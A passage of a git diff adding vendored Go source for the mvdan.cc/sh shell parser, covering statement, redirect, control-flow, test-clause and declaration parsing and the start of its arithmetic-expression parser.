rdrOut, appOut, rdrIn, dplIn, dplOut, clbOut, rdrInOut, + hdoc, dashHdoc, wordHdoc, rdrAll, appAll, _LitRedir: + return true + } + return false +} + +func (p *Parser) doRedirect(s *Stmt) { + var r *Redirect + if s.Redirs == nil { + var alloc struct { + redirs [4]*Redirect + redir Redirect + } + s.Redirs = alloc.redirs[:0] + r = &alloc.redir + s.Redirs = append(s.Redirs, r) + } else { + r = &Redirect{} + s.Redirs = append(s.Redirs, r) + } + r.N = p.getLit() + if !p.lang.isBash() && r.N != nil && r.N.Value[0] == '{' { + p.langErr(r.N.Pos(), "{varname} redirects", LangBash) + } + if p.lang == LangPOSIX && (p.tok == rdrAll || p.tok == appAll) { + p.langErr(p.pos, "&> redirects", LangBash, LangMirBSDKorn) + } + r.Op, r.OpPos = RedirOperator(p.tok), p.pos + p.next() + switch r.Op { + case Hdoc, DashHdoc: + old := p.quote + p.quote, p.forbidNested = hdocWord, true + p.heredocs = append(p.heredocs, r) + r.Word = p.followWordTok(token(r.Op), r.OpPos) + p.quote, p.forbidNested = old, false + if p.tok == _Newl { + if len(p.accComs) > 0 { + c := p.accComs[0] + if c.Pos().Line() == s.End().Line() { + s.Comments = append(s.Comments, c) + p.accComs = p.accComs[1:] + } + } + p.doHeredocs() + } + case WordHdoc: + if p.lang == LangPOSIX { + p.langErr(r.OpPos, "herestrings", LangBash, LangMirBSDKorn) + } + fallthrough + default: + r.Word = p.followWordTok(token(r.Op), r.OpPos) + } +} + +func (p *Parser) getStmt(readEnd, binCmd, fnBody bool) *Stmt { + pos, ok := p.gotRsrv("!") + s := p.stmt(pos) + if ok { + s.Negated = true + if p.stopToken() { + p.posErr(s.Pos(), `"!" cannot form a statement alone`) + } + if _, ok := p.gotRsrv("!"); ok { + p.posErr(s.Pos(), `cannot negate a command multiple times`) + } + } + if s = p.gotStmtPipe(s, false); s == nil || p.err != nil { + return nil + } + // instead of using recursion, iterate manually + for p.tok == andAnd || p.tok == orOr { + if binCmd { + // left associativity: in a list of BinaryCmds, the + // right recursion should only read a single element + return s + } + b := &BinaryCmd{ + OpPos: p.pos, + Op: BinCmdOperator(p.tok), + X: s, + } + p.next() + p.got(_Newl) + b.Y = p.getStmt(false, true, false) + if b.Y == nil || p.err != nil { + p.followErr(b.OpPos, b.Op.String(), "a statement") + return nil + } + s = p.stmt(s.Position) + s.Cmd = b + s.Comments, b.X.Comments = b.X.Comments, nil + } + if readEnd { + switch p.tok { + case semicolon: + s.Semicolon = p.pos + p.next() + case and: + s.Semicolon = p.pos + p.next() + s.Background = true + case orAnd: + s.Semicolon = p.pos + p.next() + s.Coprocess = true + } + } + if len(p.accComs) > 0 && !binCmd && !fnBody { + c := p.accComs[0] + if c.Pos().Line() == s.End().Line() { + s.Comments = append(s.Comments, c) + p.accComs = p.accComs[1:] + } + } + return s +} + +func (p *Parser) gotStmtPipe(s *Stmt, binCmd bool) *Stmt { + s.Comments, p.accComs = p.accComs, nil + switch p.tok { + case _LitWord: + switch p.val { + case "{": + p.block(s) + case "if": + p.ifClause(s) + case "while", "until": + p.whileClause(s, p.val == "until") + case "for": + p.forClause(s) + case "case": + p.caseClause(s) + case "}": + p.curErr(`%q can only be used to close a block`, p.val) + case "then": + p.curErr(`%q can only be used in an if`, p.val) + case "elif": + p.curErr(`%q can only be used in an if`, p.val) + case "fi": + p.curErr(`%q can only be used to end an if`, p.val) + case "do": + p.curErr(`%q can only be used in a loop`, p.val) + case "done": + p.curErr(`%q can only be used to end a loop`, p.val) + case "esac": + p.curErr(`%q can only be used to end a case`, p.val) + case "!": + if !s.Negated { + p.curErr(`"!" can only be used in full statements`) + break + } + case "[[": + if p.lang != LangPOSIX { + p.testClause(s) + } + case "]]": + if p.lang != LangPOSIX { + p.curErr(`%q can only be used to close a test`, p.val) + } + case "let": + if p.lang != LangPOSIX { + p.letClause(s) + } + case "function": + if p.lang != LangPOSIX { + p.bashFuncDecl(s) + } + case "declare": + if p.lang.isBash() { // Note that mksh lacks this one. + p.declClause(s) + } + case "local", "export", "readonly", "typeset", "nameref": + if p.lang != LangPOSIX { + p.declClause(s) + } + case "time": + if p.lang != LangPOSIX { + p.timeClause(s) + } + case "coproc": + if p.lang.isBash() { // Note that mksh lacks this one. + p.coprocClause(s) + } + case "select": + if p.lang != LangPOSIX { + p.selectClause(s) + } + case "@test": + if p.lang == LangBats { + p.testDecl(s) + } + } + if s.Cmd != nil { + break + } + if p.hasValidIdent() { + p.callExpr(s, nil, true) + break + } + name := p.lit(p.pos, p.val) + if p.next(); p.got(leftParen) { + p.follow(name.ValuePos, "foo(", rightParen) + if p.lang == LangPOSIX && !ValidName(name.Value) { + p.posErr(name.Pos(), "invalid func name") + } + p.funcDecl(s, name, name.ValuePos, true) + } else { + p.callExpr(s, p.wordOne(name), false) + } + case rdrOut, appOut, rdrIn, dplIn, dplOut, clbOut, rdrInOut, + hdoc, dashHdoc, wordHdoc, rdrAll, appAll, _LitRedir: + p.doRedirect(s) + p.callExpr(s, nil, false) + case bckQuote: + if p.backquoteEnd() { + return nil + } + fallthrough + case _Lit, dollBrace, dollDblParen, dollParen, dollar, cmdIn, cmdOut, + sglQuote, dollSglQuote, dblQuote, dollDblQuote, dollBrack, + globQuest, globStar, globPlus, globAt, globExcl: + if p.hasValidIdent() { + p.callExpr(s, nil, true) + break + } + w := p.wordAnyNumber() + if p.got(leftParen) { + p.posErr(w.Pos(), "invalid func name") + } + p.callExpr(s, w, false) + case leftParen: + p.subshell(s) + case dblLeftParen: + p.arithmExpCmd(s) + default: + if len(s.Redirs) == 0 { + return nil + } + } + for p.peekRedir() { + p.doRedirect(s) + } + // instead of using recursion, iterate manually + for p.tok == or || p.tok == orAnd { + if binCmd { + // left associativity: in a list of BinaryCmds, the + // right recursion should only read a single element + return s + } + if p.tok == orAnd && p.lang == LangMirBSDKorn { + // No need to check for LangPOSIX, as on that language + // we parse |& as two tokens. + break + } + b := &BinaryCmd{OpPos: p.pos, Op: BinCmdOperator(p.tok), X: s} + p.next() + p.got(_Newl) + if b.Y = p.gotStmtPipe(p.stmt(p.pos), true); b.Y == nil || p.err != nil { + p.followErr(b.OpPos, b.Op.String(), "a statement") + break + } + s = p.stmt(s.Position) + s.Cmd = b + s.Comments, b.X.Comments = b.X.Comments, nil + // in "! x | y", the bang applies to the entire pipeline + s.Negated = b.X.Negated + b.X.Negated = false + } + return s +} + +func (p *Parser) subshell(s *Stmt) { + sub := &Subshell{Lparen: p.pos} + old := p.preNested(subCmd) + p.next() + sub.Stmts, sub.Last = p.stmtList() + p.postNested(old) + sub.Rparen = p.matched(sub.Lparen, leftParen, rightParen) + s.Cmd = sub +} + +func (p *Parser) arithmExpCmd(s *Stmt) { + ar := &ArithmCmd{Left: p.pos} + old := p.preNested(arithmExprCmd) + p.next() + if p.got(hash) { + if p.lang != LangMirBSDKorn { + p.langErr(ar.Pos(), "unsigned expressions", LangMirBSDKorn) + } + ar.Unsigned = true + } + ar.X = p.followArithm(dblLeftParen, ar.Left) + ar.Right = p.arithmEnd(dblLeftParen, ar.Left, old) + s.Cmd = ar +} + +func (p *Parser) block(s *Stmt) { + b := &Block{Lbrace: p.pos} + p.next() + b.Stmts, b.Last = p.stmtList("}") + pos, ok := p.gotRsrv("}") + b.Rbrace = pos + if !ok { + p.matchingErr(b.Lbrace, "{", "}") + } + s.Cmd = b +} + +func (p *Parser) ifClause(s *Stmt) { + rootIf := &IfClause{Position: p.pos} + p.next() + rootIf.Cond, rootIf.CondLast = p.followStmts("if", rootIf.Position, "then") + rootIf.ThenPos = p.followRsrv(rootIf.Position, "if ", "then") + rootIf.Then, rootIf.ThenLast = p.followStmts("then", rootIf.ThenPos, "fi", "elif", "else") + curIf := rootIf + for p.tok == _LitWord && p.val == "elif" { + elf := &IfClause{Position: p.pos} + curIf.Last = p.accComs + p.accComs = nil + p.next() + elf.Cond, elf.CondLast = p.followStmts("elif", elf.Position, "then") + elf.ThenPos = p.followRsrv(elf.Position, "elif ", "then") + elf.Then, elf.ThenLast = p.followStmts("then", elf.ThenPos, "fi", "elif", "else") + curIf.Else = elf + curIf = elf + } + if elsePos, ok := p.gotRsrv("else"); ok { + curIf.Last = p.accComs + p.accComs = nil + els := &IfClause{Position: elsePos} + els.Then, els.ThenLast = p.followStmts("else", els.Position, "fi") + curIf.Else = els + curIf = els + } + curIf.Last = p.accComs + p.accComs = nil + rootIf.FiPos = p.stmtEnd(rootIf, "if", "fi") + for els := rootIf.Else; els != nil; els = els.Else { + // All the nested IfClauses share the same FiPos. + els.FiPos = rootIf.FiPos + } + s.Cmd = rootIf +} + +func (p *Parser) whileClause(s *Stmt, until bool) { + wc := &WhileClause{WhilePos: p.pos, Until: until} + rsrv := "while" + rsrvCond := "while " + if wc.Until { + rsrv = "until" + rsrvCond = "until " + } + p.next() + wc.Cond, wc.CondLast = p.followStmts(rsrv, wc.WhilePos, "do") + wc.DoPos = p.followRsrv(wc.WhilePos, rsrvCond, "do") + wc.Do, wc.DoLast = p.followStmts("do", wc.DoPos, "done") + wc.DonePos = p.stmtEnd(wc, rsrv, "done") + s.Cmd = wc +} + +func (p *Parser) forClause(s *Stmt) { + fc := &ForClause{ForPos: p.pos} + p.next() + fc.Loop = p.loop(fc.ForPos) + + start, end := "do", "done" + if pos, ok := p.gotRsrv("{"); ok { + if p.lang == LangPOSIX { + p.langErr(pos, "for loops with braces", LangBash, LangMirBSDKorn) + } + fc.DoPos = pos + fc.Braces = true + start, end = "{", "}" + } else { + fc.DoPos = p.followRsrv(fc.ForPos, "for foo [in words]", start) + } + + s.Comments = append(s.Comments, p.accComs...) + p.accComs = nil + fc.Do, fc.DoLast = p.followStmts(start, fc.DoPos, end) + fc.DonePos = p.stmtEnd(fc, "for", end) + s.Cmd = fc +} + +func (p *Parser) loop(fpos Pos) Loop { + if !p.lang.isBash() { + switch p.tok { + case leftParen, dblLeftParen: + p.langErr(p.pos, "c-style fors", LangBash) + } + } + if p.tok == dblLeftParen { + cl := &CStyleLoop{Lparen: p.pos} + old := p.preNested(arithmExprCmd) + p.next() + cl.Init = p.arithmExpr(false) + if !p.got(dblSemicolon) { + p.follow(p.pos, "expr", semicolon) + cl.Cond = p.arithmExpr(false) + p.follow(p.pos, "expr", semicolon) + } + cl.Post = p.arithmExpr(false) + cl.Rparen = p.arithmEnd(dblLeftParen, cl.Lparen, old) + p.got(semicolon) + p.got(_Newl) + return cl + } + return p.wordIter("for", fpos) +} + +func (p *Parser) wordIter(ftok string, fpos Pos) *WordIter { + wi := &WordIter{} + if wi.Name = p.getLit(); wi.Name == nil { + p.followErr(fpos, ftok, "a literal") + } + if p.got(semicolon) { + p.got(_Newl) + return wi + } + p.got(_Newl) + if pos, ok := p.gotRsrv("in"); ok { + wi.InPos = pos + for !p.stopToken() { + if w := p.getWord(); w == nil { + p.curErr("word list can only contain words") + } else { + wi.Items = append(wi.Items, w) + } + } + p.got(semicolon) + p.got(_Newl) + } else if p.tok == _LitWord && p.val == "do" { + } else { + p.followErr(fpos, ftok+" foo", `"in", "do", ;, or a newline`) + } + return wi +} + +func (p *Parser) selectClause(s *Stmt) { + fc := &ForClause{ForPos: p.pos, Select: true} + p.next() + fc.Loop = p.wordIter("select", fc.ForPos) + fc.DoPos = p.followRsrv(fc.ForPos, "select foo [in words]", "do") + fc.Do, fc.DoLast = p.followStmts("do", fc.DoPos, "done") + fc.DonePos = p.stmtEnd(fc, "select", "done") + s.Cmd = fc +} + +func (p *Parser) caseClause(s *Stmt) { + cc := &CaseClause{Case: p.pos} + p.next() + cc.Word = p.getWord() + if cc.Word == nil { + p.followErr(cc.Case, "case", "a word") + } + end := "esac" + p.got(_Newl) + if pos, ok := p.gotRsrv("{"); ok { + cc.In = pos + cc.Braces = true + if p.lang != LangMirBSDKorn { + p.posErr(cc.Pos(), `"case i {" is a mksh feature`) + } + end = "}" + } else { + cc.In = p.followRsrv(cc.Case, "case x", "in") + } + cc.Items = p.caseItems(end) + cc.Last, p.accComs = p.accComs, nil + cc.Esac = p.stmtEnd(cc, "case", end) + s.Cmd = cc +} + +func (p *Parser) caseItems(stop string) (items []*CaseItem) { + p.got(_Newl) + for p.tok != _EOF && (p.tok != _LitWord || p.val != stop) { + ci := &CaseItem{} + ci.Comments, p.accComs = p.accComs, nil + p.got(leftParen) + for p.tok != _EOF { + if w := p.getWord(); w == nil { + p.curErr("case patterns must consist of words") + } else { + ci.Patterns = append(ci.Patterns, w) + } + if p.tok == rightParen { + break + } + if !p.got(or) { + p.curErr("case patterns must be separated with |") + } + } + old := p.preNested(switchCase) + p.next() + ci.Stmts, ci.Last = p.stmtList(stop) + p.postNested(old) + switch p.tok { + case dblSemicolon, semiAnd, dblSemiAnd, semiOr: + default: + ci.Op = Break + items = append(items, ci) + return + } + ci.Last = append(ci.Last, p.accComs...) + p.accComs = nil + ci.OpPos = p.pos + ci.Op = CaseOperator(p.tok) + p.next() + p.got(_Newl) + + // Split the comments: + // + // case x in + // a) + // foo + // ;; + // # comment for a + // # comment for b + // b) + // [...] + split := len(p.accComs) + for i := len(p.accComs) - 1; i >= 0; i-- { + c := p.accComs[i] + if c.Pos().Col() != p.pos.Col() { + break + } + split = i + } + ci.Comments = append(ci.Comments, p.accComs[:split]...) + p.accComs = p.accComs[split:] + + items = append(items, ci) + } + return +} + +func (p *Parser) testClause(s *Stmt) { + tc := &TestClause{Left: p.pos} + old := p.preNested(testExpr) + p.next() + if _, ok := p.gotRsrv("]]"); ok || p.tok == _EOF { + p.posErr(tc.Left, "test clause requires at least one expression") + } + tc.X = p.testExpr(dblLeftBrack, tc.Left, false) + if tc.X == nil { + p.followErrExp(tc.Left, "[[") + } + tc.Right = p.pos + if _, ok := p.gotRsrv("]]"); !ok { + p.matchingErr(tc.Left, "[[", "]]") + } + p.postNested(old) + s.Cmd = tc +} + +func (p *Parser) testExpr(ftok token, fpos Pos, pastAndOr bool) TestExpr { + p.got(_Newl) + var left TestExpr + if pastAndOr { + left = p.testExprBase() + } else { + left = p.testExpr(ftok, fpos, true) + } + if left == nil { + return left + } + p.got(_Newl) + switch p.tok { + case andAnd, orOr: + case _LitWord: + if p.val == "]]" { + return left + } + if p.tok = token(testBinaryOp(p.val)); p.tok == illegalTok { + p.curErr("not a valid test operator: %s", p.val) + } + case rdrIn, rdrOut: + case _EOF, rightParen: + return left + case _Lit: + p.curErr("test operator words must consist of a single literal") + default: + p.curErr("not a valid test operator: %v", p.tok) + } + b := &BinaryTest{ + OpPos: p.pos, + Op: BinTestOperator(p.tok), + X: left, + } + // Save the previous quoteState, since we change it in TsReMatch. + oldQuote := p.quote + + switch b.Op { + case AndTest, OrTest: + p.next() + if b.Y = p.testExpr(token(b.Op), b.OpPos, false); b.Y == nil { + p.followErrExp(b.OpPos, b.Op.String()) + } + case TsReMatch: + if !p.lang.isBash() { + p.langErr(p.pos, "regex tests", LangBash) + } + p.rxOpenParens = 0 + p.rxFirstPart = true + // TODO(mvdan): Using nested states within a regex will break in + // all sorts of ways. The better fix is likely to use a stop + // token, like we do with heredocs. + p.quote = testExprRegexp + fallthrough + default: + if _, ok := b.X.(*Word); !ok { + p.posErr(b.OpPos, "expected %s, %s or %s after complex expr", + AndTest, OrTest, "]]") + } + p.next() + b.Y = p.followWordTok(token(b.Op), b.OpPos) + } + p.quote = oldQuote + return b +} + +func (p *Parser) testExprBase() TestExpr { + switch p.tok { + case _EOF, rightParen: + return nil + case _LitWord: + op := token(testUnaryOp(p.val)) + switch op { + case illegalTok: + case tsRefVar, tsModif: // not available in mksh + if p.lang.isBash() { + p.tok = op + } + default: + p.tok = op + } + } + switch p.tok { + case exclMark: + u := &UnaryTest{OpPos: p.pos, Op: TsNot} + p.next() + if u.X = p.testExpr(token(u.Op), u.OpPos, false); u.X == nil { + p.followErrExp(u.OpPos, u.Op.String()) + } + return u + case tsExists, tsRegFile, tsDirect, tsCharSp, tsBlckSp, tsNmPipe, + tsSocket, tsSmbLink, tsSticky, tsGIDSet, tsUIDSet, tsGrpOwn, + tsUsrOwn, tsModif, tsRead, tsWrite, tsExec, tsNoEmpty, + tsFdTerm, tsEmpStr, tsNempStr, tsOptSet, tsVarSet, tsRefVar: + u := &UnaryTest{OpPos: p.pos, Op: UnTestOperator(p.tok)} + p.next() + u.X = p.followWordTok(token(u.Op), u.OpPos) + return u + case leftParen: + pe := &ParenTest{Lparen: p.pos} + p.next() + if pe.X = p.testExpr(leftParen, pe.Lparen, false); pe.X == nil { + p.followErrExp(pe.Lparen, "(") + } + pe.Rparen = p.matched(pe.Lparen, leftParen, rightParen) + return pe + case _LitWord: + if p.val == "]]" { + return nil + } + fallthrough + default: + if w := p.getWord(); w != nil { + return w + } + // otherwise we'd return a typed nil above + return nil + } +} + +func (p *Parser) declClause(s *Stmt) { + ds := &DeclClause{Variant: p.lit(p.pos, p.val)} + p.next() + for !p.stopToken() && !p.peekRedir() { + if p.hasValidIdent() { + ds.Args = append(ds.Args, p.getAssign(false)) + } else if p.eqlOffs > 0 { + p.curErr("invalid var name") + } else if p.tok == _LitWord && ValidName(p.val) { + ds.Args = append(ds.Args, &Assign{ + Naked: true, + Name: p.getLit(), + }) + } else if w := p.getWord(); w != nil { + ds.Args = append(ds.Args, &Assign{ + Naked: true, + Value: w, + }) + } else { + p.followErr(p.pos, ds.Variant.Value, "names or assignments") + } + } + s.Cmd = ds +} + +func isBashCompoundCommand(tok token, val string) bool { + switch tok { + case leftParen, dblLeftParen: + return true + case _LitWord: + switch val { + case "{", "if", "while", "until", "for", "case", "[[", + "coproc", "let", "function", "declare", "local", + "export", "readonly", "typeset", "nameref": + return true + } + } + return false +} + +func (p *Parser) timeClause(s *Stmt) { + tc := &TimeClause{Time: p.pos} + p.next() + if _, ok := p.gotRsrv("-p"); ok { + tc.PosixFormat = true + } + tc.Stmt = p.gotStmtPipe(p.stmt(p.pos), false) + s.Cmd = tc +} + +func (p *Parser) coprocClause(s *Stmt) { + cc := &CoprocClause{Coproc: p.pos} + if p.next(); isBashCompoundCommand(p.tok, p.val) { + // has no name + cc.Stmt = p.gotStmtPipe(p.stmt(p.pos), false) + s.Cmd = cc + return + } + cc.Name = p.getWord() + cc.Stmt = p.gotStmtPipe(p.stmt(p.pos), false) + if cc.Stmt == nil { + if cc.Name == nil { + p.posErr(cc.Coproc, "coproc clause requires a command") + return + } + // name was in fact the stmt + cc.Stmt = p.stmt(cc.Name.Pos()) + cc.Stmt.Cmd = p.call(cc.Name) + cc.Name = nil + } else if cc.Name != nil { + if call, ok := cc.Stmt.Cmd.(*CallExpr); ok { + // name was in fact the start of a call + call.Args = append([]*Word{cc.Name}, call.Args...) + cc.Name = nil + } + } + s.Cmd = cc +} + +func (p *Parser) letClause(s *Stmt) { + lc := &LetClause{Let: p.pos} + old := p.preNested(arithmExprLet) + p.next() + for !p.stopToken() && !p.peekRedir() { + x := p.arithmExpr(true) + if x == nil { + break + } + lc.Exprs = append(lc.Exprs, x) + } + if len(lc.Exprs) == 0 { + p.followErrExp(lc.Let, "let") + } + p.postNested(old) + s.Cmd = lc +} + +func (p *Parser) bashFuncDecl(s *Stmt) { + fpos := p.pos + if p.next(); p.tok != _LitWord { + p.followErr(fpos, "function", "a name") + } + name := p.lit(p.pos, p.val) + hasParens := false + if p.next(); p.got(leftParen) { + hasParens = true + p.follow(name.ValuePos, "foo(", rightParen) + } + p.funcDecl(s, name, fpos, hasParens) +} + +func (p *Parser) testDecl(s *Stmt) { + td := &TestDecl{Position: p.pos} + p.next() + if td.Description = p.getWord(); td.Description == nil { + p.followErr(td.Position, "@test", "a description word") + } + if td.Body = p.getStmt(false, false, true); td.Body == nil { + p.followErr(td.Position, `@test "desc"`, "a statement") + } + s.Cmd = td +} + +func (p *Parser) callExpr(s *Stmt, w *Word, assign bool) { + ce := p.call(w) + if w == nil { + ce.Args = ce.Args[:0] + } + if assign { + ce.Assigns = append(ce.Assigns, p.getAssign(true)) + } +loop: + for { + switch p.tok { + case _EOF, _Newl, semicolon, and, or, andAnd, orOr, orAnd, + dblSemicolon, semiAnd, dblSemiAnd, semiOr: + break loop + case _LitWord: + if len(ce.Args) == 0 && p.hasValidIdent() { + ce.Assigns = append(ce.Assigns, p.getAssign(true)) + break + } + ce.Args = append(ce.Args, p.wordOne(p.lit(p.pos, p.val))) + p.next() + case _Lit: + if len(ce.Args) == 0 && p.hasValidIdent() { + ce.Assigns = append(ce.Assigns, p.getAssign(true)) + break + } + ce.Args = append(ce.Args, p.wordAnyNumber()) + case bckQuote: + if p.backquoteEnd() { + break loop + } + fallthrough + case dollBrace, dollDblParen, dollParen, dollar, cmdIn, cmdOut, + sglQuote, dollSglQuote, dblQuote, dollDblQuote, dollBrack, + globQuest, globStar, globPlus, globAt, globExcl: + ce.Args = append(ce.Args, p.wordAnyNumber()) + case rdrOut, appOut, rdrIn, dplIn, dplOut, clbOut, rdrInOut, + hdoc, dashHdoc, wordHdoc, rdrAll, appAll, _LitRedir: + p.doRedirect(s) + case dblLeftParen: + p.curErr("%s can only be used to open an arithmetic cmd", p.tok) + case rightParen: + if p.quote == subCmd { + break loop + } + fallthrough + default: + // Note that we'll only keep the first error that happens. + if len(ce.Args) > 0 { + if cmd := ce.Args[0].Lit(); p.lang == LangPOSIX && isBashCompoundCommand(_LitWord, cmd) { + p.curErr("the %q builtin exists in bash; tried parsing as posix", cmd) + } + } + p.curErr("a command can only contain words and redirects; encountered %s", p.tok) + } + } + if len(ce.Assigns) == 0 && len(ce.Args) == 0 { + return + } + if len(ce.Args) == 0 { + ce.Args = nil + } else { + for _, asgn := range ce.Assigns { + if asgn.Index != nil || asgn.Array != nil { + p.posErr(asgn.Pos(), "inline variables cannot be arrays") + } + } + } + s.Cmd = ce +} + +func (p *Parser) funcDecl(s *Stmt, name *Lit, pos Pos, withParens bool) { + fd := &FuncDecl{ + Position: pos, + RsrvWord: pos != name.ValuePos, + Parens: withParens, + Name: name, + } + p.got(_Newl) + if fd.Body = p.getStmt(false, false, true); fd.Body == nil { + p.followErr(fd.Pos(), "foo()", "a statement") + } + s.Cmd = fd +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go b/vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go new file mode 100644 index 0000000000..a6d6a951f8 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go @@ -0,0 +1,353 @@ +package syntax + +// compact specifies whether we allow spaces between expressions. +// This is true for let +func (p *Parser) arithmExpr(compact bool) ArithmExpr { + return p.arithmExprComma(compact) +} + +// These function names are inspired by Bash's expr.c + +func (p *Parser) arithmExprComma(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprAssign, Comma) +} + +func (p *Parser) arithmExprAssign(compact bool) ArithmExpr { + // Assign is different from the other binary operators because it's + // right-associative and needs to check that it's placed after a name + value := p.arithmExprTernary(compact) + switch BinAritOperator(p.tok) { + case AddAssgn, SubAssgn, MulAssgn, QuoAssgn, RemAssgn, AndAssgn, + OrAssgn, XorAssgn, ShlAssgn, ShrAssgn, Assgn: + if compact && p.spaced { + return value + } + if !isArithName(value) { + p.posErr(p.pos, "%s must follow a name", p.tok.String()) + } + pos := p.pos + tok := p.tok + p.nextArithOp(compact) + y := p.arithmExprAssign(compact) + if y == nil { + p.followErrExp(pos, tok.String()) + } + return &BinaryArithm{ + OpPos: pos, + Op: BinAritOperator(tok), + X: value, + Y: y, + } + } + return value +} + +func (p *Parser) arithmExprTernary(compact bool) ArithmExpr { + value := p.arithmExprLor(compact) + if BinAritOperator(p.tok) != TernQuest || (compact && p.spaced) { + return value + } + + if value == nil { + p.curErr("%s must follow an expression", p.tok.String()) + } + questPos := p.pos + p.nextArithOp(compact) + if BinAritOperator(p.tok) == TernColon { + p.followErrExp(questPos, TernQuest.String()) + } + trueExpr := p.arithmExpr(compact) + if trueExpr == nil { + p.followErrExp(questPos, TernQuest.String()) + } + if BinAritOperator(p.tok) != TernColon { + p.posErr(questPos, "ternary operator missing : after ?") + } + colonPos := p.pos + p.nextArithOp(compact) + falseExpr := p.arithmExprTernary(compact) + if falseExpr == nil { + p.followErrExp(colonPos, TernColon.String()) + } + return &BinaryArithm{ + OpPos: questPos, + Op: TernQuest, + X: value, + Y: &BinaryArithm{ + OpPos: colonPos, + Op: TernColon, + X: trueExpr, + Y: falseExpr, + }, + } +} + +func (p *Parser) arithmExprLor(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprLand, OrArit) +} + +func (p *Parser) arithmExprLand(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprBor, AndArit) +} + +func (p *Parser) arithmExprBor(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprBxor, Or) +} + +func (p *Parser) arithmExprBxor(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprBand, Xor) +} + +func (p *Parser) arithmExprBand(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprEquality, And) +} + +func (p *Parser) arithmExprEquality(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprComparison, Eql, Neq) +} + +func (p *Parser) arithmExprComparison(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprShift, Lss, Gtr, Leq, Geq) +} + +func (p *Parser) arithmExprShift(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprAddition, Shl, Shr) +} + +func (p *Parser) arithmExprAddition(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprMultiplication, Add, Sub) +} + +func (p *Parser) arithmExprMultiplication(compact bool) ArithmExpr { + return p.arithmExprBinary(compact, p.arithmExprPower, Mul, Quo, Rem) +} + +func (p *Parser) arithmExprPower(compact bool) ArithmExpr { + // Power is different from the other binary operators because it's right-associative + value := p.arithmExprUnary(compact) + if BinAritOperator(p.tok) != Pow || (compact && p.spaced) { + return value + } + + if value == nil { + p.curErr("%s must follow an expression", p.tok.String()) + } + + op := p.tok + pos := p.pos + p.nextArithOp(compact) + y := p.arithmExprPower(compact) + if y == nil { + p.followErrExp(pos, op.String()) + } + return &BinaryArithm{ + OpPos: pos, + Op: BinAritOperator(op), + X: value, + Y: y, + } +} + +func (p *Parser) arithmExprUnary(compact bool) ArithmExpr { + if !compact { + p.got(_Newl) + } + + switch UnAritOperator(p.tok) { + case Not, BitNegation, Plus, Minus: + ue := &UnaryArithm{OpPos: p.pos, Op: UnAritOperator(p.tok)} + p.nextArithOp(compact) + if ue.X = p.arithmExprUnary(compact); ue.X == nil { + p.followErrExp(ue.OpPos, ue.Op.String()) + } + return ue + } + return p.arithmExprValue(compact) +} + +func (p *Parser) arithmExprValue(compact bool) ArithmExpr { + var x ArithmExpr + switch p.tok { + case addAdd, subSub: + ue := &UnaryArithm{OpPos: p.pos, Op: UnAritOperator(p.tok)} + p.nextArith(compact) + if p.tok != _LitWord { + p.followErr(ue.OpPos, token(ue.Op).String(), "a literal") + } + ue.X = p.arithmExprValue(compact) + return ue + case leftParen: + pe := &ParenArithm{Lparen: p.pos} + p.nextArithOp(compact) + pe.X = p.followArithm(leftParen, pe.Lparen) + pe.Rparen = p.matched(pe.Lparen, leftParen, rightParen) + x = pe + case leftBrack: + p.curErr("[ must follow a name") + case colon: + p.curErr("ternary operator missing ? before :") + case _LitWord: + l := p.getLit() + if p.tok != leftBrack { + x = p.wordOne(l) + break + } + pe := &ParamExp{Dollar: l.ValuePos, Short: true, Param: l} + pe.Index = p.eitherIndex() + x = p.wordOne(pe) + case bckQuote: + if p.quote == arithmExprLet && p.openBquotes > 0 { + return nil + } + fallthrough + default: + if w := p.getWord(); w != nil { + x = w + } else { + return nil + } + } + + if compact && p.spaced { + return x + } + if !compact { + p.got(_Newl) + } + + // we want real nil, not (*Word)(nil) as that + // sets the type to non-nil and then x != nil + if p.tok == addAdd || p.tok == subSub { + if !isArithName(x) { + p.curErr("%s must follow a name", p.tok.String()) + } + u := &UnaryArithm{ + Post: true, + OpPos: p.pos, + Op: UnAritOperator(p.tok), + X: x, + } + p.nextArith(compact) + return u + } + return x +} + +// nextArith consumes a token. +// It returns true if compact and the token was followed by spaces +func (p *Parser) nextArith(compact bool) bool { + p.next() + if compact && p.spaced { + return true + } + if !compact { + p.got(_Newl) + } + return false +} + +func (p *Parser) nextArithOp(compact bool) { + pos := p.pos + tok := p.tok + if p.nextArith(compact) { + p.followErrExp(pos, tok.String()) + } +} + +// arithmExprBinary is used for all left-associative binary operators +func (p *Parser) arithmExprBinary(compact bool, nextOp func(bool) ArithmExpr, operators ...BinAritOperator) ArithmExpr { + value := nextOp(compact) + for { + var foundOp BinAritOperator + for _, op := range operators { + if p.tok == token(op) { + foundOp = op + break + } + } + + if token(foundOp) == illegalTok || (compact && p.spaced) { + return value + } + + if value == nil { + p.curErr("%s must follow an expression", p.tok.String()) + } + + pos := p.pos + p.nextArithOp(compact) + y := nextOp(compact) + if y == nil { + p.followErrExp(pos, foundOp.String()) + } + + value = &BinaryArithm{ + OpPos: pos, + Op: foundOp, + X: value, + Y: y, + } + } +} + +func isArithName(left ArithmExpr) bool { + w, ok := left.(*Word) + if !ok || len(w.Parts) != 1 { + return false + } + switch x := w.Parts[0].(type) { + case *Lit: + return ValidName(x.Value) + case *ParamExp: + return x.nakedIndex() + default: + return false + } +} + +func (p *Parser) followArithm(ftok token, fpos Pos) ArithmExpr { + x := p.arithmExpr(false) + if x == nil { + p.followErrExp(fpos, ftok.String()) + } + return x +} + +func (p *Parser) peekArithmEnd() bool { + return p.tok == rightParen && p.r == ')' +} + +func (p *Parser) arithmMatchingErr(pos Pos, left, right token) { + switch p.tok { + case _Lit, _LitWord: + p.curErr("not a valid arithmetic operator: %s", p.val) + case leftBrack: + 